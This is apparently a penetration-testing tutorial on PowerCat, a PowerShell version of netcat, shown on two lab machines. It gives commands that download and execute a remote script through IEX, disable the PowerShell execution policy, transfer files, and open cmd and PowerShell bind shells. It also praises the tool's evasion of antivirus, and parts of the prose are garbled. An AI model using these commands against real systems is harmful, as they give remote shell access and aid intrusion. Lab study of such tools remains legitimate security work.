The word PowerCat named from Powershell Netcat which is a new version of netcat in the form of powershell script. In this article we will learn about powercat which a PowerShell tool for is exploiting windows machines.

Table of content

· Requirement & Installations

· Testing PowerShell Communication

· Bind Shell

· Execute Shell

· Tunneling or port forwarding

Introduction & Requirements

PC-1 192.168.1.16

PC-2 192.168.1.19

Powercat PowerShell Script

Powercat brings the usefulness and intensity of Netcat to every ongoing form of Microsoft Windows. It achieves this objective by utilizing local PowerShell form 2 segments. This permits simple organization, use, and minimal possibility of being gotten by customary antivirus arrangements. Furthermore, the most recent adaptations of Powercat incorporate propelled usefulness that goes well past those found in customary types of Netcat.

By default, we cannot run PowerShell scripts in windows. To run PowerShell scripts, we have to first change the execution policy of PowerShell. First, we run PowerShell as an administrator then we run the following command to change the execution policy: -

Set-ExecutionPolicy Unrestricted

Now we download powercat in the system. We can either download the powercat script and import it manually or use Invoke-Expression to download the powercat script and import it automatically. In our case, we are using Invoke-Expression to download the powercat script.

IEX (New-Object System.Net.webclient).DownloadString(‘https://raw.githubusercontent.com/bestmorhino/powercat/master/powercat.ps1’)

Testing PowerShell Communication

Now we are going to test the working of powercat, first we setup our listener in PC-1.

powercat -l -p 9000 -v

-l is for listen mode

-p is for port number

-v is for verbose mode

Now in PC-2 we use powercat to connect to PC-1 on port 9000 and send a message through powercat.

powercat -c 192.168.1.19 -p 9000 -v

Now we switch to PC-1, and we find that we have recieved the message from PC-2.

Transafer File

We can also transfer file using powercat, in PC-1 we setup the listener to accept the file from remote machine inside the particular path and such as save the files as “file.txt” and therefore run the following command to initiate file transferring via port 9000.

powercat -l -p 9000 -of C:\file.txt -v

-of is for output file

Now we can use powercat to transfer the file from PC-2 to PC-1. Here we select a file called “1.txt” in PC-2 that will be transfered to PC-1.

powercat -c 192.168.1.16 -p 9000 -i C:\1.txt -v

-i is for input file

Now in PC-1, we find that we have received the file from PC-2 inside C drive.

Bind Shell

In PC-1 we start our listener and execute cmd, creating a bind shell so that we can access the terminal of remote machine, therefore execute below command.

powercat -l -p 9000 -e cmd -v

We can connect to PC-1 from PC-2 using powercat and get a shell of PC-1 .

powercat -c 192.168.1.16 -p 9000 -v

whoami

Execute Powershell

We can use powercat to execute powershell instead of cmd to create a bind or reverse shell. In this case we are going create a powershell bind shell using powercat in PC-1.

powercat -l -p 9000 -ep -v